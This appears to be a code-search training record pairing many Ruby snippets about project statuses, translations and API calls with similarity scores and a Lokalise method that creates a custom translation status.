"def message_status(text_id)\n command = Command.new('GetSMSStatus', license_key)\n MessageStatus.new(\n Response.parse(\n command.execute({:TextID => text_id})\n )[\"SmsReturn\"]\n )\n end",
"def check_project_status\n submit_process(:status) if @project.started?\n render json: state_snapshot\n end",
"def destroy_translation_status(project_id, status_id)\n c_r Lokalise::Resources::CustomTranslationStatus, :destroy, [project_id, status_id]\n end",
"def get_status status_code\n status = STATUSES[status_code]\n if status\n status\n else\n status = STATUSES['IV']\n end\n end",
"def status_text\n return 'Unknown' if state.blank?\n\n return I18n.t(\"activerecord.attributes.export_job.status.#{state}\") unless in_progress?\n\n I18n.t('activerecord.attributes.export_job.status.in_progress') + progress_text\n end",
"def project_get(project)\n project_find(project)\n projects = @project.all('a[class=table-link]') if @project\n\n project_names = []\n if projects\n projects.each do |proj|\n project_names << proj.text\n end\n else\n project_names = nil\n end\n project_names\n end",
"def status\n if status_code.present?\n if status_code['HL7 ActStatus']\n status_code['HL7 ActStatus'].first()\n elsif status_code['SNOMED-CT']\n case status_code['SNOMED-CT'].first()\n when '55561003'\n 'active'\n when '73425007'\n 'inactive'\n when '413322009' \n 'resolved'\n end\n end\n end\n end",
"def translated\n find_all do |entry|\n entry.translated?\n end\n end",
"def status\n STATUSES[code] || 'Unknown'\n end",
"def get_status_text(status)\n return \"Failed\" if status.upcase == 'DOWN'\n return \"Passed\" if status.upcase == 'UP'\n\n return \"Unknown\"\nend",
"def get_status\n fetch_status unless status == :completed\n status\n end",
"def get_status\n fetch_status unless status == :completed\n status\n end",
"def translations\n OneclickRefernet::Translation.where(key: self.code)\n end",
"def set_project_status\n @project_status = ProjectStatus.find(params[:id])\n end",
"def set_project_status\n @project_status = ProjectStatus.find(params[:id])\n end",
"def translation_class\n const_get translation_class_name\n end",
"def index\n @project_statuses = ProjectStatus.all\n end",
"def status\r\n if @status == \"paid\"\r\n :completed\r\n elsif @tatus == \"refused\"\r\n :refused\r\n else\r\n :pending_payment\r\n end\r\n end",
"def get_status\n return @m_status\n end",
"def project_find(label)\n @project = projects.find { |item| item.text.include? label }\n end",
"def project_model_text_from_name(name)\n if text = available_projects[name]\n return text\n else\n raise OroGen::ProjectNotFound, \"#{client} has no project called #{name}, available projects: #{available_projects.keys.sort.join(\", \")}\"\n end\n end",
"def getProjectByID(id)\n ret = nil \n @Projects.each do |project| \n ret = project if project.ID == id \n end \n\n return ret \n end",
"def status_name\n STATUSES[status]\n end",
"def set_project\n @project = Project.includes(:items => :translations).find(params[:id])\n end",
"def project_template_level\n return nil if self.try(:project_template_level_name).nil?\n Level.find_by_key(project_template_level_name)\n end",
"def status_name\n STATUS[self.status_id][0]\n end",
"def result_status_text\n {\n \"success\" => \"查询成功\",\n \"failed\" => \"查询失败\"\n }.fetch(notify_state, \"无结果\")\n end",
"def project(key)\n @tracker.getProjects.detect { |pro| pro.key == key }\n end",
"def project\n threaded[:project]\n end",
"def status_description\n self.status::DESCRIPTION\n end",
"def project(id)\n self.projects(\"all\").detect { |p| p.id == id }\n end",
"def send_project_status(project, url, hash, status, description)\n path = @path_prefix + \"/statuses/#{hash}\"\n context = project.github_status_context\n dict = {\n target_url: url,\n state: status,\n description: description,\n context: context\n }\n make_request(path, false, dict)\n end",
"def get_status\n\t\tstatus\n\tend",
"def project_by_name(project_name)\n projects.find { |project| project['name'].casecmp(project_name) == 0 }\n end",
"def project_id project_name\n if @version < \"1.0\"\n project = projects.find { |project| project[:name] == project_name }\n else\n project = project_by_name(project_name).first\n end\n\n project.nil? ? nil : project[:id].to_i\n end",
"def find_project_by_project_name(project_name)\n row = @db.get_first_row('select * from projects where project_name = ?', project_name)\n return {\n id: row[0],\n project_name: row[1],\n target_dollar_amount: row[2]\n }\n end",
"def status_text_from_code(status_code)\n MoabRecord.statuses.key(status_code)\n end",
"def find_by_id(client, id, options: {})\n\n self.new(parse(client.get(\"/project_statuses/#{id}\", options: options)).first, client: client)\n end",
"def find(project_id)\n raw_response = get_request(\"projects/#{project_id}\")\n parse_response(raw_response, :project)\n end",
"def find(project_id)\n raw_response = get_request(\"projects/#{project_id}\")\n parse_response(raw_response, :project)\n end",
"def get_status(transactionid)\n do_request(\"status\", { :transactionid => transactionid })\n end",
"def get_status_valuable_with_http_info(project_id, opts = {})\r\n if @api_client.config.debugging\r\n @api_client.config.logger.debug \"Calling API: TestrunApi.get_status_valuable ...\"\r\n end\r\n # verify the required parameter 'project_id' is set\r\n fail ArgumentError, \"Missing the required parameter 'project_id' when calling TestrunApi.get_status_valuable\" if project_id.nil?\r\n # resource path\r\n local_var_path = \"/api/v3/projects/{projectId}/test-runs/execution-statuses\".sub('{format}','json').sub('{' + 'projectId' + '}', project_id.to_s)\r\n\r\n # query parameters\r\n query_params = {}\r\n\r\n # header parameters\r\n header_params = {}\r\n\r\n # form parameters\r\n form_params = {}\r\n\r\n # http body (model)\r\n post_body = nil\r\n auth_names = ['Authorization']\r\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\r\n :header_params => header_params,\r\n :query_params => query_params,\r\n :form_params => form_params,\r\n :body => post_body,\r\n :auth_names => auth_names,\r\n :return_type => 'Array<StatusResource>')\r\n if @api_client.config.debugging\r\n @api_client.config.logger.debug \"API called: TestrunApi#get_status_valuable\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\r\n end\r\n return data, status_code, headers\r\n end",
"def get_translation(lang_code)\n # format language code to a valid bing translate format\n lang_code_cut = TranslationsHelper.cut_country lang_code\n if lang_code_cut.nil?\n return nil\n end\n\n # check if this is a valid language code\n unless TranslationsHelper.is_valid_language lang_code_cut\n return nil\n end\n\n # check if original text is in the new language\n unless original_text.nil?\n lang_code_original_cut = TranslationsHelper.cut_country original_text.lang_code\n\n if original_text.lang_code == lang_code\n return original_text.text\n elsif original_text.lang_code == lang_code_cut\n add_translation(original_text.text, lang_code)\n return original_text.text\n elsif lang_code_original_cut == lang_code_cut\n add_translation(original_text.text, lang_code)\n return original_text.text\n end\n end\n\n # check if translation is already available, if not translate it via bing\n trans = translations.find_by_lang_code(lang_code)\n if trans.nil?\n trans_cut = translations.find_by_lang_code(lang_code_cut)\n\n # check if there is a translation only with the language code, without country code\n if trans_cut.nil?\n return translate_into_lang_code(lang_code)\n else\n add_translation(trans_cut.text, lang_code)\n return trans_cut.text\n end\n\n return translate_into_lang_code(lang_code)\n else\n return trans.text\n end\n end",
"def status_name\n STATUSE.key(@status)\n end",
"def status(ref = main_branch)\n statuses = statuses(ref)\n\n sha = statuses['values'].map {|x| x.dig('commit', 'hash') }.compact.first\n states = statuses['values'].map { |status| status['state'] }\n\n state = if states.any? { |x| ['STOPPED', 'FAILED'].include?(x) }\n BuildStatus::FAILURE\n elsif states.empty? || states.all? { |x| x == 'INPROGRESS' }\n BuildStatus::PENDING\n elsif states.all? { |x| x == 'SUCCESSFUL' }\n BuildStatus::SUCCESS\n else\n BuildStatus::UNDEFINED\n end\n\n BuildStatus.new(sha: sha, status: state)\n end",
"def getStatus\n @status\n end",
"def get_project (project_name)\n\t\tproject = Project.find_by_name(project_name)\n\t\tif project\n\t\t\tif (project.accessibility == 1 or (user_signed_in? and project.user == current_user))\n\t\t\t\treturn project, nil\n\t\t\telse\n\t\t\t\treturn nil, I18n.t('controllers.application.get_project.private', :project_name => project_name)\n\t\t\tend\n\t\telse\n\t\t\treturn nil, I18n.t('controllers.application.get_project.not_exist', :project_name => project_name)\n\t\tend\n\tend",
"def status_to_s\n \tSTATUSES[self.status].humanize\n end",
"def project_name\n self.project ? self.project.name : NOT_SET\n end",
"def getStatus\r\n\t\t\t\t\treturn @status\r\n\t\t\t\tend",
"def project_number\n return @project_number\n end",
"def get_assessment_status(id, params = {})\n get \"/api/v2/projects/#{id}/participants/status/#{params[:guid]}\", params\n end",
"def s_status(s_language)\n s_out=breakdancemake_bdmroutine_s_status_always_available_t1(s_language)\n return s_out\n end",
"def status\n\t\treturn \"Pending\" if !completed\n\t\t\"Completed\"\n\tend",
"def getStatus id\n\t\tstatus = @tickets.read ['status'], ['id', id]\n\t\tstatus = status[0]['status']\n\tend",
"def status\n instance_get(:status)\n end",
"def project_id\n service.project\n end",
"def project_id\n service.project\n end",
"def project_id\n service.project\n end",
"def get_project_settings project\n settings.config['projects'].each do |p|\n return p if p['name'] == project\n end\n false\n end",
"def get_translation \n if self.source_name == \"ENSEMBLPEP\"\n self.genome_db.connect_to_genome\n return Ensembl::Core::Translation.find_by_stable_id(self.stable_id)\n else\n return nil\n end\n end",
"def get_transaction_status(id)\n submit GetTransactionStatus.new(:transaction_id => id)\n end",
"def convert_project_lifecycle_text_to_id\n end",
"def convert_project_lifecycle_text_to_id\n end"
] |
[
"0.6844893",
"0.6664638",
"0.6339318",
"0.63098574",
"0.6105781",
"0.6035228",
"0.5992366",
"0.59807795",
"0.593065",
"0.5915725",
"0.5896544",
"0.5891722",
"0.5863265",
"0.58352613",
"0.5816226",
"0.5814109",
"0.58110774",
"0.5767038",
"0.57388294",
"0.57296056",
"0.5725027",
"0.57125163",
"0.5699787",
"0.5691885",
"0.5675028",
"0.56698215",
"0.56395173",
"0.56388324",
"0.5624937",
"0.5624937",
"0.55916697",
"0.55889976",
"0.5574391",
"0.55721706",
"0.55689615",
"0.55631846",
"0.553401",
"0.55235714",
"0.55113083",
"0.5496017",
"0.5492186",
"0.54900783",
"0.54834104",
"0.5469205",
"0.5466819",
"0.5456225",
"0.5453389",
"0.5453389",
"0.5450522",
"0.5449172",
"0.5449172",
"0.5446155",
"0.5439879",
"0.54392844",
"0.54377425",
"0.5377241",
"0.5371076",
"0.5345734",
"0.53371555",
"0.5328492",
"0.53231424",
"0.5315502",
"0.5315298",
"0.531294",
"0.5292311",
"0.52748746",
"0.52746814",
"0.5264319",
"0.5248827",
"0.5246151",
"0.52378374",
"0.5237293",
"0.52295023",
"0.522447",
"0.5218175",
"0.5218175",
"0.5212688",
"0.52094823",
"0.5207628",
"0.52058446",
"0.52045584",
"0.5203474",
"0.51964855",
"0.51943046",
"0.5191949",
"0.5191902",
"0.51838505",
"0.51803553",
"0.5177712",
"0.5172296",
"0.5170408",
"0.5169293",
"0.51673645",
"0.51673645",
"0.51673645",
"0.5164106",
"0.51633215",
"0.51606625",
"0.51603544",
"0.51603544"
] |
0.81025016
|
0
|
Creates translation status inside the given project
|
def create_translation_status(project_id, params)
c_r Lokalise::Resources::CustomTranslationStatus, :create, project_id, params
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_in_project(client, project: required(\"project\"), text: required(\"text\"), color: required(\"color\"), options: {}, **data)\n with_params = data.merge(text: text, color: color).reject { |_,v| v.nil? || Array(v).empty? }\n Resource.new(parse(client.post(\"/projects/#{project}/project_statuses\", body: with_params, options: options)).first, client: client)\n end",
"def create_project(project)\n \n update_project(project)\n \n # TODO: Need to handle this exception...\n if (File.directory? project.svn_dir) then\n raise StandardError, \"A project called #{project.display_name} already exists in the #{project.client.display_name} repository. Please delete it or choose an alternate project name and run this script again.\"\n end\n \n # create a new subversion repository\n say(\"Creating a new subversion repository...\")\n `svnadmin create #{project.svn_dir}`\n \n # import into svn\n say(\"Importing temporary project into the new subversion repository...\")\n `svn import #{project.template}/svn file:///#{project.svn_dir} --message \"initial import\"`\n \n # this should fix the 'can't open activity db error'\n `sudo chmod 770 #{project.svn_dir}`\n activites_file = File.join(project.svn_dir,\"/dav/activities\")\n if File.exists?(activites_file)\n `sudo chmod 755 #{activites_file}`\n `sudo chown www-data:www-data #{activites_file}`\n end\n \n # install default post commit hook\n hook_file = File.join(project.svn_dir,\"hooks\",\"post-commit\")\n Template.new(File.join(Config.subtrac_path, \"svn\", \"post-commit.erb\")).write(hook_file)\n `sudo chmod +x #{hook_file}`\n\n end",
"def create_translations\n end",
"def translation_status(project_id, status_id)\n c_r Lokalise::Resources::CustomTranslationStatus, :find, [project_id, status_id]\n end",
"def create\n @project = Project.new(params[:project])\n @project.initial_date = Time.now\n \n respond_to do |format|\n if @project.save\n if @project.github_token? && @project.repo_name?\n create_hook\n end\n\n Status.create({name: 'Backlog', project_id: @project.id, order: 1 })\n Status.create({name: 'In Progress', project_id: @project.id, order: 2})\n Status.create({name: 'Done', project_id: @project.id, order: 9999})\n Label.create([{name: 'Administration',project_id: @project.id, color: '#2b72dc'}, \n {name: 'Analysis',project_id: @project.id, color: '#2babd6'}, \n {name: 'Requirement',project_id: @project.id, color: '#ff8533'}, \n {name: 'Feature',project_id: @project.id, color: '#ffad33'}, \n {name: 'Design',project_id: @project.id, color: '#9d2bd6'}, \n {name: 'Bug',project_id: @project.id, color: '#ff3333'}, \n {name: 'Testing',project_id: @project.id, color: '#ffff33'},\n {name: 'Chore',project_id: @project.id, color: '#bceb2f'}, \n {name: 'Suggestion',project_id: @project.id, color: '#2bd62b'}, \n {name: 'Learning',project_id: @project.id, color: '#472bd6'},\n {name: 'Research',project_id: @project.id, color: '#020118'}])\n @project.add_user_role(current_user, Role.first)\n UseCaseGroup.create({ name: \"Use Cases\", project_id: @project.id })\n format.html { redirect_to boards_project_path(@project) }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project_status = Project::Status.new(project_status_params)\n\n respond_to do |format|\n if @project_status.save\n format.html { redirect_to @project_status, notice: 'Status was successfully created.' }\n format.json { render :show, status: :created, location: @project_status }\n else\n format.html { render :new }\n format.json { render json: @project_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n name = shift_argument\n unless name\n error(\"Usage: mortar projects:create PROJECT\\nMust specify PROJECT.\")\n end\n validate_arguments!\n \n unless git.has_dot_git?\n error(\"Can only create a mortar project for an existing git project. Please run:\\n\\ngit init\\ngit add .\\ngit commit -a -m \\\"first commit\\\"\\n\\nto initialize your project in git.\")\n end\n \n unless git.remotes(git_organization).empty?\n begin\n error(\"Currently in project: #{project.name}. You can not create a new project inside of an existing mortar project.\")\n rescue Mortar::Command::CommandFailed => cf\n error(\"Currently in an existing Mortar project. You can not create a new project inside of an existing mortar project.\")\n end\n end\n \n project_id = nil\n action(\"Sending request to create project: #{name}\") do\n project_id = api.post_project(name).body[\"project_id\"]\n end\n \n project_result = nil\n project_status = nil\n display\n ticking(polling_interval) do |ticks|\n project_result = api.get_project(project_id).body\n project_status = project_result.fetch(\"status_code\", project_result[\"status\"])\n project_description = project_result.fetch(\"status_description\", project_status)\n is_finished = Mortar::API::Projects::STATUSES_COMPLETE.include?(project_status)\n\n redisplay(\"Status: %s %s\" % [\n project_description + (is_finished ? \"\" : \"...\"),\n is_finished ? \" \" : spinner(ticks)],\n is_finished) # only display newline on last message\n if is_finished\n display\n break\n end\n end\n \n case project_status\n when Mortar::API::Projects::STATUS_FAILED\n error(\"Project creation failed.\\nError message: #{project_result['error_message']}\")\n when Mortar::API::Projects::STATUS_ACTIVE\n git.remote_add(\"mortar\", project_result['git_url'])\n display \"Your project is ready for use. Type 'mortar help' to see the commands you can perform on the project.\\n\\n\"\n else\n raise RuntimeError, \"Unknown project status: #{project_status} for project_id: #{project_id}\"\n end\n \n end",
"def create\n @translation = Translation.new(translation_params(:create))\n @translation.created_manually = true\n if @translation.save\n tflash('create', :success, {:model=>@@model, :count=>1}) \n redirect_to translation_path(@translation.id), notice: \"English translation was successfully created: #{@translation.translation}.\"\n else\n render action: 'new', error: @translation.errors.messages.to_s \n end\n end",
"def create\n cmp = AzCompany.find(params[:az_project][:owner_id])\n @project = AzProject.create(params[:az_project][:name], cmp, current_user, params[:az_project][:public_access])\n\n @title = 'Создание нового сайта'\n\n respond_to do |format|\n if @project.id\n flash[:notice] = 'Проект успешно создан.'\n format.html { redirect_to(@project) }\n else\n format.html { render :template => 'az_projects/new', :owner_id => cmp.id }\n end\n end\n end",
"def create\n @user = current_user\n @project = Project.find(params[:project_id])\n @preferedlang = Language.find_by_id(@project.source_lang_id)\n @slanguages = Language.where(\"id != ?\", @preferedlang.id).order('iso_code asc') \n @slanguages.unshift(@preferedlang)\n #from railsrecipes recipe 22 - refactor\n # @user = current_user\n\n\n @mostpopulartarlang = Language.find_by_id(@project.translations.maximum(\"source_lang_id\"))\n if @mostpopulartarlang\n @tlanguages = Language.where(\"id != ?\", @mostpopulartarlang.id).order('iso_code asc')\n @tlanguages.unshift(@mostpopulartarlang)\n else\n @tlanguages = Language.order('iso_code desc')\n end\n\n\n @translation = @project.translations.build(params[:translation])\n @translation.owner_id = @user.id\n\n# @project = Project.find(params[:id])\n\n# @translation = Translation.new(params[:translation])\n# @translation.owner_id = current_user.id\n# @translation.project_id = Project.find_by_id(params[:project_id]).id\n # @user = User.find(params[:user_id])\n # @project = Project.find(params[:project_id])\n # @translation = Translation.new(params[:translation])\n # @project = current_user.projects.build\n # @translation = @project.translations.build\n # @user = current_user\n # @project = Project.find_by_user_id(@user)\n # @translation = @project.translations.build(params[:translation])\n @languages = Language.all(:order => 'iso_code')\n # #process information from checkbox\n\n if @translation.save\n flash[:notice] = \"Translation was successfully created\"\n # redirect_to user_project_translations_path(@user, @project)\n redirect_to user_project_path(current_user, @project)\n else\n render 'new'\n end\nend",
"def create\n @project_status = ProjectStatus.new(params[:project_status])\n\n respond_to do |format|\n if @project_status.save\n format.html { redirect_to(@project_status, :notice => 'Project status was successfully created.') }\n format.xml { render :xml => @project_status, :status => :created, :location => @project_status }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project_status.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project_status = ProjectStatus.new(project_status_params)\n\n respond_to do |format|\n if @project_status.save\n format.html { redirect_to project_statuses_url, notice: 'Project status was successfully created.' }\n format.json { render :show, status: :created, location: @project_status }\n else\n format.html { render :new }\n format.json { render json: @project_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_project(project)\n handle_action_exceptions(__method__) do\n cmd_line = [\"createproject '#{project}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def update_translation_status(project_id, status_id, params)\n c_r Lokalise::Resources::CustomTranslationStatus, :update, [project_id, status_id], params\n end",
"def create\n @project_status = ProjectStatus.new(project_status_params)\n\n respond_to do |format|\n if @project_status.save\n format.html { redirect_to project_status_url(@project_status), notice: \"Project status was successfully created.\" }\n format.json { render :show, status: :created, location: @project_status }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @project_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @project ||= Project.new\n # Default targeted_rfc5646_locales to display to user.\n @project.targeted_rfc5646_locales = {@project.base_rfc5646_locale => true}\n @project.job_type = :commit\n respond_with @project\n end",
"def create\n @project = Project.new(params[:project])\n @project.status = \"Etat zero\"\n creator = current_user\n ProjectUser.create(:project => @project, :user => creator, :admin => true)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n service_result = Organizers::BuildJoinTableObjects.call(project_params, 'project', :create)\n @project = service_result.main_object\n\n if service_result.failure?\n render json: {errors: errors_as_array_hash(service_result.message)}, status: :unprocessable_entity\n else\n render :show, status: :created, location: @project\n end\n end",
"def destroy_translation_status(project_id, status_id)\n c_r Lokalise::Resources::CustomTranslationStatus, :destroy, [project_id, status_id]\n end",
"def create_translation(other)\n end",
"def create_project(project)\n pgtr = project.build_project_grid_table_row\n pgtr.title = project.book_title\n pgtr.genre = project.genres.map(&:name).join(\", \")\n pgtr.teamroom_link = project.teamroom_link\n\n roles = Hash[*Role.all.map{ | role | [role.name.downcase.gsub(/ /, \"_\").to_sym, role.id] }.flatten]\n\n # These are not roles in the PGTR\n roles.delete_if {|name, id| name == :advisor || name == :agent }\n\n # adding each role\n roles.each do | key, value |\n pgtr[key] = project.team_memberships.includes(:member).where(role_id: value).map(&:member).map(&:name).join(\", \")\n end\n\n # since the publisher only publishes :create_project on projects#create\n # there will only every be one author since we only allow one author selection\n # when creating a new project. We can also skip other_contributors\n author = project.team_memberships\n .includes(:member)\n .where(role: Role.find_by_name(\"Author\")).first.member\n\n pgtr.author_last_first = author.last_name_first\n pgtr.author_first_last = author.name\n\n # adding the current_tasks\n project.current_tasks.includes(:task => :workflow).each do | ct |\n keybase = ct.task.workflow.name.downcase.gsub(/ /, \"_\")\n pgtr[keybase + \"_task_id\"] = ct.task.id\n pgtr[keybase + \"_task_name\"] = ct.task.name\n pgtr[keybase + \"_task_display_name\"] = ct.task.display_name\n pgtr[keybase + \"_task_last_update\"] = Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n end\n\n pgtr.save\n end",
"def create\n @project = current_user.projects.build(project_params)\n @project.user_id = current_user.id\n if @project.user.admin?\n @project.state = \"accepted\"\n else\n @project.state = \"pending\"\n end\n\n respond_to do |format|\n if @project.save\n activity = current_user.create_activity(@project, 'created')\n activity.user_id = current_user.id\n format.html { redirect_to @project, notice: 'Project request was sent.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @project = Project.new(project_params)\n @project.user_id = current_user.id ? current_user.id : 0\n @project.is_enabled = Constants::DISABLED\n @project.status = Constants::NEW\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_status(file_path, locale_file_id)\n is_project_in_process = Project.exists?(file_path: file_path,\n locale_file_id: locale_file_id,\n status: %i[open processing])\n return :waiting if is_project_in_process\n\n :open\n end",
"def create\n @project = Project.new(params[:project],:user_id => current_user.id, :total_amount => 0, :state => \"new\")\n\n # stateはここで追加。バリデーション書くならここで。\n # new, pending, open, success, failedだっけ?\n @project.user_id = current_user.id\n @project.total_amount = 0\n @project.state = \"new\"\n\n if @project.save\n redirect_to :action => \"reward\", :project_id => @project.id\n else\n respond_to do |format|\n format.html { render :action => \"new\" }\n end\n end\n end",
"def create_local\n template \"config/locales/en.rb\", \"config/locales/#{class_name.underscore}.en.yml\"\n end",
"def create\n @project = current_user.projects.create(params[:project])\n \n if @project.save\n record_activity(\"created new project: \" + @project.id.to_s)\n redirect_to root_path, :notice => \"Project created successfully\"\n else\n render 'new'\n end\n end",
"def create(global_options, options)\n status, body = project_create(global_options, options)\n\n if status == 201\n save_message(create_success_message(body))\n true\n else\n parse_message(body)\n false\n end\n end",
"def create(project_name, repo_name, description) ; end",
"def create\n @user = User.find(current_user.id)\n @project = Project.new(project_params)\n\n @project.title = params[:title]\n @project.complete = false\n\n respond_to do |format|\n if @project.save\n @user.projects_users.create(project: @project, admin_user: true)\n\n format.html { redirect_to project_path(@project.id) }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = @sprint.projects.create(params[:project])\n\n respond_to do |format|\n if @project.valid?\n flash[:notice] = 'Project was successfully created.'\n format.html { redirect_to project_url(@sprint, @project) }\n format.xml { head :created, :location => project_url(@project) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors.to_xml }\n end\n end\n end",
"def create\n if request.post? and params[:project]\n project = Project.new(params[:project])\n project.owner = @user.id\n project.save\n\n sprint = project.sprints.build\n sprint.name = \"Backlog\"\n sprint.status_id = 0\n sprint.created_by = @user.id\n sprint.save\n\n task = project.tasks.build\n task.name = \"General\"\n task.description = \"General Work\"\n task.type_id = 0\n task.sprint_id = sprint.id\n task.created_by = @user.id\n task.assigned_to = @user.id\n task.save\n\n flash[:message] = \"Project '#{project.name}' has been registered.\"\n else\n flash[:error] = \"No project data provided.\"\n end\n\n redirect_to :action => 'index'\n end",
"def create_project(name, type)\nend",
"def create_project(project)\n create_or_update(project, nil, 'project', 'projects')\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n @project.user_projects.create(:user_id => current_user.id, :status => true, :role => 1)\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def status_translations\n @status_translations ||= Assembla.statuses['ticket_statuses']\nend",
"def project_status\n\t\t@project = Project.find(params[:id])\n\n\t\trender 'projects/project_status'\n\tend",
"def create\n @project = Project.new(params[:project])\n @project.type = params[:type][:id]\n @project.access = \"Private\"\n @user_name = params[:username]\n \n @user = current_user.luser\n @project.created_by = @user.name\n role = Role.find(:first, :conditions => {:name => \"Creator\"} )\n\n respond_to do |format|\n if @project.save\n luser_project = LuserProject.new \n luser_project.project_id = @project.id\n luser_project.luser_id = @user.id\n luser_project.role_id = role.id\n luser_project.save\n Activity.created_project(current_user.luser, @project)\n \n format.html { redirect_to project_url(@user_name, @project), notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created}\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slab_project_task = SlabProjectTask.new(slab_project_task_params)\n @slab_project_task.status = \"InProgress\"\n\n p params\n c = { message: \"Created\" }\n \n respond_to do |format|\n if @slab_project_task.save\n format.html { redirect_to @slab_project_task, notice: \"Slab project task was successfully created.\" }\n format.json { render :show, status: :created, location: @slab_project_task }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @slab_project_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def check_create_status\n if self.v_status.nil?\n status = VStatus.new\n status.v_project = self\n status.v_user_data = self.v_user_data\n self.v_status = status\n end\n end",
"def create\n @project = @projectable.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n track_activity @project\n format.html { redirect_to [@projectable, @project], notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_project_unit\n end",
"def create(project_name)\n project = read_config_file()\n FileUtils.mkdir(project_name)\n \n if project['project']['files']\n project['project']['files'].each do |file|\n FileUtils.touch(\"#{project_name}/#{file}.#{@language}\")\n end\n end\n \n project['project']['folders'].each do |folder|\n FileUtils.mkdir_p(\"#{project_name}/#{folder['name']}\")\n \n if folder['files']\n folder['files'].each do |file|\n FileUtils.touch(\"#{project_name}/#{folder['name']}/#{file}\")\n end\n end\n \n end\n \n end",
"def map_to_cctray_build_status(project_status)\n case project_status.to_s\n when Build::STATUS_OK then 'Success'\n when Build::STATUS_FAILED then 'Failure'\n else 'Unknown'\n end\n end",
"def create_item(name)\n if :locale == 'de'\n self.action = \"Aufgabe '#{name}' wurde erstellt\"\n else\n self.action = \"Task '#{name}' has been created\"\n end\n end",
"def create(attributes, &block)\n GoodData.logger.info \"Creating project #{attributes[:title]}\"\n\n auth_token = attributes[:auth_token] || GoodData.connection.auth_token\n fail 'You have to provide your token for creating projects as :auth_token parameter' if auth_token.nil? || auth_token.empty?\n\n json = {\n 'project' =>\n {\n 'meta' => {\n 'title' => attributes[:title],\n 'summary' => attributes[:summary] || 'No summary'\n },\n 'content' => {\n 'guidedNavigation' => attributes[:guided_navigation] || 1,\n 'authorizationToken' => auth_token,\n 'driver' => attributes[:driver] || 'Pg'\n }\n }\n }\n\n json['project']['meta']['projectTemplate'] = attributes[:template] if attributes[:template] && !attributes[:template].empty?\n project = Project.new json\n project.save\n\n # until it is enabled or deleted, recur. This should still end if there is a exception thrown out from RESTClient. This sometimes happens from WebApp when request is too long\n while project.state.to_s != 'enabled'\n if project.state.to_s == 'deleted'\n # if project is switched to deleted state, fail. This is usually problem of creating a template which is invalid.\n fail 'Project was marked as deleted during creation. This usually means you were trying to create from template and it failed.'\n end\n sleep(3)\n project.reload!\n end\n\n if block\n GoodData.with_project(project) do |p|\n block.call(p)\n end\n end\n sleep 3\n project\n end",
"def create\n repo = ProjectRepo.new current_user\n project = VProject.create(params[:v_project])\n @v_project = repo.create(project)\n\n respond_to do |format|\n if @v_project.save\n format.html { redirect_to @v_project, notice: 'V project was successfully created.' }\n format.json { render json: @v_project, status: :created, location: @v_project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @v_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n before_create(@project)\n respond_to do |format|\n if is_admin? && @project.save\n set_current_project(@project)\n flash[:notice] = \"Project record for #{@project.project_title} was successfully created\"\n format.html { redirect_to(project_path(@project)) }\n format.xml { render xml: @project }\n else\n flash[:errors] = \"Project record for #{@project.project_title} could not be created; admin: #{is_admin? ? 'Yes' : 'No'}; #{@project.errors.full_messages.join('; ')}\"\n format.html { redirect_to(projects_path) }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n if @project.save\n flash[:notice] = t('projects.create.notice')\n redirect_to projects_path\n else\n render :action => \"new\"\n end\n end",
"def create\n @project_states = ProjectState.create!(project_state_params)\n json_response(@project_states, :created)\n end",
"def create\n #byebug\n @project = Project.new(create_params)\n @project.user_id = @current_user.id\n @project.save\n #@project = Project.create(name_project: \"prueba\", subsidy: true, parking: true, user_id: @current_user.id)\n #byebug\n render json: @project, status: :created\n end",
